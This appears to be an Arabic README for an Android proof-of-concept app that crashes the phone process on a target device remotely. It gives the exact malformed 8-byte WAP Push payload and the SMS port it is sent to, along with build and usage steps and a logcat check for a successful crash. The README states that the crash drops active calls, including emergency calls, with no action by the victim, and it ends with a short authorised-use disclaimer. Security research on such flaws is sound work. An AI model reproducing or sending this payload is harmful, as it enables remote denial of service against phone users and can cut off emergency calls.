
تطبيق إثبات مفهوم (PoC) لأندرويد يرسل وحدة بيانات WAP Push مشوّهة بحجم 8 بايت عبر الرسائل النصية القصيرة (SMS) لتعطيل تطبيق com.android.phone عن بُعد، مما يؤدي إلى إسقاط المكالمات بصمت على هاتف الهدف.
تطبيق أندرويد لإثبات المفهوم يرسل وحدة PDU مُصاغة بحجم 8 بايت عبر WAP Push من خلال رسائل SMS إلى
جهاز هدف. تُسبّب وحدة PDU المشوّهة استثناء NegativeArraySizeException في
WapPushOverSms.decodeWapPdu، والذي لا يتم التقاطه في InboundSmsHandler فيقتل
com.android.phone على الجهاز المستقبِل — ما يؤدي إلى إسقاط أي مكالمة نشطة، بما في ذلك
مكالمات الطوارئ، دون أي تفاعل من الضحية.
الشرح الكامل: https://smsofdeath.com/
01 06 88 80 80 80 00 BE → sent as a data SMS to port 2948
./gradlew assembleDebug
الناتج: app/build/outputs/apk/debug/app-debug.apk
يتطلب Android SDK. أنشئ ملف local.properties يحتوي على مسار SDK الخاص بك (يقوم Android Studio
بذلك تلقائيًا):
sdk.dir=/path/to/Android/sdk
ثبّت التطبيق على جهاز المُرسِل، وأدخل رقم الهدف (أو املأه تلقائيًا من شريحة SIM نشطة)، واختر شريحة SIM المُرسِلة، ثم اضغط على SEND CRASH SMS. راقب على الجهاز الهدف:
adb logcat | grep -E 'NegativeArraySize|WapPushOverSms|com.android.phone'
المتوقع: ظهور FATAL EXCEPTION في com.android.phone خلال ~1–2 ثانية وتغيّر PID
لتلك العملية، مع فقدان مؤقت للإشارة.
minSdk 30، targetSdk/compileSdk 35.SEND_SMS وREAD_PHONE_NUMBERS وREAD_PHONE_STATE.مخصّص للبحث الأمني المُصرّح به والاختبار على الأجهزة التي تملكها أو لديك إذن صريح باختبارها. لا تستخدمه ضد أنظمة أو أشخاص دون موافقة.